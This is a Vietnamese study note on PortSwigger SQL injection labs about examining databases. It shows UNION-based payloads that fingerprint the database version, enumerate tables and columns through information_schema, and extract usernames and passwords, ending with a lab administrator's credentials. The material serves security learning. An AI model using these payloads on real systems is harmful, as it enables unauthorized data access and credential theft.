Note

Tất cả các bài lab bên dưới đều được khai thác ở query param category của endpoint /filter.

Querying the Database Type and Version

Để truy xuất thông tin về database (các bảng và các cột), trước tiên ta cần biết tên database và version của nó. Sau đây là một số cú pháp truy vấn version của các loại database:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

Chúng ta có thể ghép vào mệnh đề UNION để truy vấn như sau:

' UNION SELECT @@version--

Câu truy vấn trên có thể trả về giá trị như sau:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Bằng cách này, ta có thể biết được loại database và version của nó.

Lab: SQL Injection Attack, Querying the Database Type and Version on Oracle

later

Lab: SQL Injection Attack, Querying the Database Type and Version on MySQL and Microsoft

Ban đầu dùng payload sau nhưng không được:

' order by 1--

Do database là MySQL và Microsoft nên thêm vào dấu ; và sử dụng comment -- -:

' order by 2;-- -

Tìm ra số lượng cột là 2, sử dụng payload sau thì truy vấn được version của database:

' union select @@version, null;-- -

Kết quả:

8.0.36-0ubuntu0.20.04.1

Listing the Contents of the Database

Đa số các loại database (trừ Oracle) đều có tập các bảng (hoặc view) cho biết thông tin về các schema có trong database. Ví dụ, câu truy vấn sau sẽ liệt kê danh sách các bảng có ở trong database:

SELECT * FROM information_schema.tables

Kết quả có thể là:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

Kết quả trên cho biết có ba bảng trong database là Products, UsersFeedback.

Cũng có thể dùng information_schema để truy vấn thông tin về các cột:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Kết quả có thể là:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

Kết quả trên cho biết bảng Users có ba cột là UserId, UsernamePassword.

Lab: SQL Injection Attack, Listing the Database Contents on non-Oracle Databases

Tìm ra được số lượng cột là 2 và cả 2 cột đều có thể chứa chuỗi. Truy vấn được thông tin của database như sau:

' union select version(), 'a'-- -

Kết quả:

PostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

Trong Postgres cũng có bảng information_schema.tables chứa thông tin về các table.

Sử dụng payload sau để truy xuất tên của các bảng mà không có tiền tố là pg_ và không phải là view.

' union select null, table_name  from information_schema.tables where table_name not like 'pg_%' and table_type not like 'VIEW'-- -

Tìm được tên của bảng chứa thông tin người dùng là users_idiieu.

Bảng information_schema.columns sẽ cho ta biết thông tin về các column.

Sử dụng payload sau để truy xuất tên của các cột trong bảng users_idiieu:

' union select null, column_name from information_schema.columns where table_name = 'users_idiieu'-- -

Ta tìm được hai cột chứa username và password là username_gkiiyapassword_thgdgi.

Tiến hành truy xuất thông tin từ hai cột này:

' union select null, username_gkiiya || ' - ' || password_thgdgi from users_idiieu-- -

Tìm ra được username và password của admin là administrator - dibh7den7ue5cdhdo55q. Đăng nhập vào tài khoản này.

Listing the Contents of an Oracle Database

later

Lab: SQL Injection Attack, Listing the Database Contents on Oracle

later

list
from outgoing([[Port Swigger - Examining the Database in SQL Attacks]])
sort file.ctime asc

Resources